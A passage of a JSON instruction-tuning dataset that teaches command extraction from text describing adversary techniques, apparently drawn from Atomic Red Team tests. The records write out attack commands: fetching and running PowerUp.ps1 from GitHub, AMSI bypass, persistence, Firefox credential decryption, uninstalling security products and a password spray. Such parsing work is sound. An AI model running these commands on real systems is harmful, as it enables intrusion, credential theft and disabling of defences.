}`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To configure Windows Auto Update to notify before downloading updates, which Redline uses for defense evasion, run the following command: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU\" /v \"AUOptions\" /t REG_DWORD /d 2 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsUpdate\\\\AU\\\" /v \\\"AUOptions\\\" /t REG_DWORD /d 2 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To run malicious PowerShell scripts, attackers must modify the execution policy, which can be done by executing the following command: Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine",
    "output": "{\"command_list\": [\"Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To test the execution of a .inf file, use the following command: InfDefaultInstall.exe \"#{inf_to_execute}\"",
    "output": "{\"command_list\": [\"InfDefaultInstall.exe \\\"#{inf_to_execute}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test adds persistence by modifying the Outlook Home Page settings, causing the payload to execute when the folder is opened, with the command: reg.exe add HKCU\\Software\\Microsoft\\Office\\#{outlook_version}\\Outlook\\WebView\\#{outlook_folder} /v URL /t REG_SZ /d #{url} /f",
    "output": "{\"command_list\": [\"reg.exe add HKCU\\\\Software\\\\Microsoft\\\\Office\\\\#{outlook_version}\\\\Outlook\\\\WebView\\\\#{outlook_folder} /v URL /t REG_SZ /d #{url} /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Adversaries can bypass AMSI by hijacking library loading with the following sequence: copy %windir%\\System32\\windowspowershell\\v1.0\\powershell.exe %APPDATA%\\updater.exe\ncopy %windir%\\System32\\amsi.dll %APPDATA%\\amsi.dll\n%APPDATA%\\updater.exe -Command exit",
    "output": "{\"command_list\": [\"copy %windir%\\\\System32\\\\windowspowershell\\\\v1.0\\\\powershell.exe %APPDATA%\\\\updater.exe\\ncopy %windir%\\\\System32\\\\amsi.dll %APPDATA%\\\\amsi.dll\\n%APPDATA%\\\\updater.exe -Command exit\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Firepwd.py script decrypts Mozilla credentials, displaying them on screen and saving to a file via this command sequence: $PasswordDBLocation = get-childitem -path \"$env:appdata\\Mozilla\\Firefox\\Profiles\\*.default-release\\\"\ncmd /c #{venv_path}\\Scripts\\python.exe #{Firepwd_Path} -d $PasswordDBLocation > #{Out_Filepath}\ncat #{Out_Filepath}",
    "output": "{\"command_list\": [\"$PasswordDBLocation = get-childitem -path \\\"$env:appdata\\\\Mozilla\\\\Firefox\\\\Profiles\\\\*.default-release\\\\\\\"\\ncmd /c #{venv_path}\\\\Scripts\\\\python.exe #{Firepwd_Path} -d $PasswordDBLocation > #{Out_Filepath}\\ncat #{Out_Filepath}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    APTs have been observed using WMIC to uninstall security products, and you can replicate this behavior with the command: wmic /node:\"#{node}\" product where \"name like '#{product}%%'\" call uninstall",
    "output": "{\"command_list\": [\"wmic /node:\\\"#{node}\\\" product where \\\"name like '#{product}%%'\\\" call uninstall\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This password spray test attempts to authenticate against the IPC$ share of a Domain Controller using Spring2020 as the password for each user in %temp%\\users.txt. Be careful not to exceed lockout thresholds. Successful logins appear as [*] username:password, while failures print a dot. The operation can be performed with this command: @FOR /F %n in (%temp%\\users.txt) do @echo | set/p=. & @net use %logonserver%\\IPC$ /user:\"%userdomain%\\%n\" \"#{password}\" 1>NUL 2>&1 && @echo [*] %n:#{password} && @net use /delete %logonserver%\\IPC$ > NUL",
